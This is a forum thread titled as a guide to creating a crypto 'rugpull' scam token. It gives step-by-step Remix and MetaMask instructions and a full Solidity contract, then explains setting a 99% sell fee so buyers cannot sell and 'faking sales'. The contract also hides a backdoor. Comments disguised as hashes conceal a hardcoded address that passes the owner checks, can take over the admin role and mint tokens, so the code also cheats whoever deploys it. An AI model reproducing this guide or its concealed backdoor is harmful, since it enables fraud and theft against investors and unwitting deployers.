Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix
Go on “setFees” and put “0” and “99” (without the brackets)
Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:
paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

You can find the full guide on tg @ insan3devlinks
TRON chain? please

Reply

RE: Create a crypto scam token and earn money (rugpull) #7
(05-19-2024, 12:23 PM)insDev Wrote: Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!
[Only for research and testing, don’t try to scam using this method]

Part 1: Use REMIX and Metamask to create token
First, install the Metamask wallet in your computer and create account/ wallet.
2. Browse "remix ethereum org" (You need to use Remix IDE to deploy smart contract).
3. Connect metamask to REMIX IDE. Click your metamask plugin.
Click the “Not connected” button and connect it.
4. Back to REMIX IDE. Click Create New File.
5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code below into the file:
Code:
// SPDX-License-Identifier: MIT

/** 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}

contract DevToken {
    using SafeMath for uint256;

    string public name = "DevToken";
    string public symbol = "DEVT";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);

    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
     
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
 
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }

    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
     
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

    function LockLPToken() public onlyOwner returns (bool) {
    }

    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }

    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
 
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

7. Change your token settings (Name, Symbol and Supply) Remember to add 18 zeros (000000000000000000) to the number supply
(e.g. 69000000000000000000000000000 means 69000000000 supply)
8.Click the icon on the left (compiler);
Select the compiler version 0.8.18 …. then  click "COMPILE"
9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)
10. On Contract section, select DevToken as contract.
11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.
12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
10. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix
Go on “setFees” and put “0” and “99” (without the brackets)
Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:
paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

You can find the full guide on tg @ insan3devlinks

still working?

Reply







Users browsing this thread: 1 Guest(s)